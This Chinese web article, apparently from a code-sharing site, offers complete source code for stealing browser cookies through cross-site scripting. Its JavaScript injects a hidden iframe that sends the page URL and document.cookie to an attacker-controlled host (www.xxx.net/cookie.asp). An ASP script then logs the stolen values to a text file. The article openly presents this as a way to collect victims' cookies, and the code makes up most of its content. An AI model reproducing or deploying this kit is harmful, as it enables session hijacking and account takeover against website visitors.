当前位置: 代码网 > 服务器>网络安全>企业安全 > asp+js 偷取Cookies源代码

asp+js 偷取Cookies源代码

2009年04月20日 企业安全 我要评论
asp+js 偷取Cookies源代码偷取Cookie,通过以下脚本引入一个js,document.write("<script src=XX.js></script>"),然后js内容为: var code;          var target = "h... 09-04-20
偷取cookie,通过以下脚本引入一个js,document.write("<script src=xx.js></script>"),然后js内容为:
var code;         
var target = "http://www.xxx.net/cookie.asp?";
info=escape(document.location+"@@@"+document.cookie);
target=target+info;
code="<iframe style='display:none;' src=";
code=code+target;         
code=code+" width=0 height=0></iframe>";
document.write(code);

这样就可以将cookie等信息传到我们的站点了!cookie.asp内容为:

复制代码
代码如下:

dim fso,file,str        
str=unescape(request.servervariables("query_string"))    
const forreading = 1, forwriting = 2, forappending = 8
set fso = server.createobject("scripting.filesystemobject") 
path = server.mappath("xxx.txt")     
set file=fso.opentextfile(path, forappending, true)   
file.write("xss:")
file.write(str)        
file.write vbcrlf       
file.close
set file = nothing        
set fso = nothing
(0)

相关文章:

版权声明:本文内容由互联网用户贡献,该文观点仅代表作者本人。本站仅提供信息存储服务,不拥有所有权,不承担相关法律责任。 如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 2386932994@qq.com 举报,一经查实将立刻删除。

发表评论

验证码:
Copyright © 2017-2025  代码网 保留所有权利. 粤ICP备2024248653号
站长QQ:2386932994 | 联系邮箱:2386932994@qq.com